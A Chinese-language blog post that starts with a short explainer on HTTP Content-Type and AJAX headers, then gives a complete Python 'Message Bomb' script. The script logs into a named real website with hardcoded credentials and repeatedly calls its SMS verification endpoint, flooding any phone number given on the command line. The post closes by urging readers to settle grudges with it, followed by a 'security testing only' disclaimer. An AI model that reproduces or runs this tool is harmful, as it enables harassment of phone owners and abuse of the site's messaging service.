我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种。
常见的取值有:
application/xml : 在 XML RPC,如 RESTful/SOAP 调用时使用application/json : 在 JSON RPC 调用时使用
application/x-www-form-urlencoded : 浏览器提交 Web 表单时使用
Content-Type : 在使用 REST 接口时,服务器会检查该值,用来确定 HTTP Body 中的内容该怎样解析。
在提交web表单数据时,Body中的数据格式要和Content-Type的值类型一致,如果Content-Type 设置错误会导致服务器拒绝服务
还有些网站的数据需要通过ajax来请求获得,ajax请求在发起请求之前必须设置必要的http头,还需要将请求数据封装为json格式。
下面的脚本代码就是这种情况,将请求数据封装为json格式:
req.add_header('Content-Type', 'application/json')然后设置ajax请求形式的请求头:
req.add_header('X-Requested-With','XMLHttpRequest')#-*-coding:utf-8-*-#!/usr/bin/python
#
# Message Bomb v1.0
#From: sb.f4ck.net By: xfkxfk
#
import json
import urllib2
import sys
def request_ajax_url(url,body,referer=None,cookie=None,**headers):
req = urllib2.Request(url)
req.add_header('Content-Type', 'application/json')
req.add_header('X-Requested-With','XMLHttpRequest')
if cookie:
req.add_header('Cookie',cookie)
if referer:
req.add_header('Referer',referer)
if headers:
for k in headers.keys():
req.add_header(k,headers[k])
postBody = json.dumps(body)
response = urllib2.urlopen(req, postBody)
if response:
return response
def run():
import time
"use username:xfkxfk; use password:123456"
login_url = 'http://www.lusen.com/member/Login.aspx'
login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}
login_referer = "http://www.lusen.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"
url = 'http://www.lusen.com/Member/MobileValidate.aspx'
referer = "http://www.lusen.com/Member/ModifyMobileValidate.aspx"
headers = {}
response = request_ajax_url(login_url,login_body,login_referer)
if response.read() == "1":
print " Login Success !!!"
if response.headers.has_key('set-cookie'):
set_cookie = response.headers['set-cookie']
else :
print " Get set-cookie Failed !!! May Send Messages Failed ~~~"
if len(sys.argv) < 3:
print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"
sys.exit()
mobile_number = sys.argv[1]
count = sys.argv[2]
body = {"action":"GetValidateCode","Mobile":mobile_number}
i=0
while i < int(count):
response = request_ajax_url(url,body,referer,set_cookie)
i=i+1
if response.read() == "发送成功":
print " Send " + count + " Messages To " + mobile_number + " !!!"
if __name__ == "__main__":
run()
大家有仇报仇有怨抱怨啊
(Freebuf温馨提示:仅供安全测试之用,禁止非法用途)